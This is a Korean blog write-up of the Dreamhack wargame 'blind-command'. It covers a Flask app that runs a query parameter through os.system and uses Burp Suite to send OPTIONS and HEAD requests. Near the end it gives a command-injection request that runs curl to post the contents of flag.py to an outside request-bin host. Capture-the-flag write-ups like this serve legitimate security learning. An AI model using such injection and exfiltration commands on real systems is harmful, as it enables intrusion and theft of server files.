카테고리 없음

워게임 blind-command

미숫가루빙수 2023. 5. 21. 23:48

풀기 전에 문제를 읽어본다.

 

플래그 파일인 XD를 읽어야하는 문제

 

 

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

문제에 필요한 코드

 

 

문제 창을 들어가보면

?cmd=[cmd]만 있는 것을 볼 수 있다.

 

코드의 11행에서의 리턴값이

화면에 출력된 것이다.

 

url의 뒤에 /?cmd=aa를 입력할 경우

aa가 그대로 출력되는 걸 알 수 있다.

 

하지만 이렇게 해서 플래그를 얻을 수 없는데,

코드의 15행에서 else문을 통과해야 

flag.py를 얻을 수 있다.

 

flag.py를 얻기 위해 버프 스위트를 실행시킨다.

 

 

버프 스위트의 proxy를 다음과 같이 설정해주고

intercept를 활성화시켜준다.

 

 

버프 스위트에서 브라우저를 실행시키고

문제의 url을 검색해 이동한다.

 

 

다시 proxy로 돌아와

HTTP history로 이동한다.

 

favicon.ico가 표시된 url을 찾아

send to repeater을 해준다.

 

repeater로 이동한다.

 

첫 줄 GET /favicon.ico HTTP/1.1를

OPTIONS /?cmd=ls HTTP/1.1로 

바꿔서 send 해본다.

 

(HTTP 메소드 OPTIONS 허용된 HTTP 요청 메소드를 확인할 수 있다.

응답 메시지의 Allow 헤더)

 

send된 결과를 보면 

OPTIONS, GET, HEAD

이 세가지의 사용이 가능하다.

 

 

마지막 명령어 HEAD를 이용해

다음과 같이 코드를 짜준다.

 

(HTTP 메소드 HEAD
- GET 메소드로 요청했을 때 돌아오는 헤더를 응답받는다.
- HEAD 메소드는 응답에 본문이 있어도 무시한다.)

 

HEAD /?cmd=curl+ http://host3.dreamhack.games:9921/+-d+ "$(cat+flag.py)" HTTP/1.1

 

(띄어쓰기가 있는 부분은 오류가 날 가능성이 있어 모두 +로 채워준다.

드림헥 툴을 이용해 생성한 url을 복사하여 넣어준다.)

 

 

send를 한 이후에 드림헥 툴로 이동한다.

request bin으로 들어가면 body부분에서

플래그를 얻을 수 있다.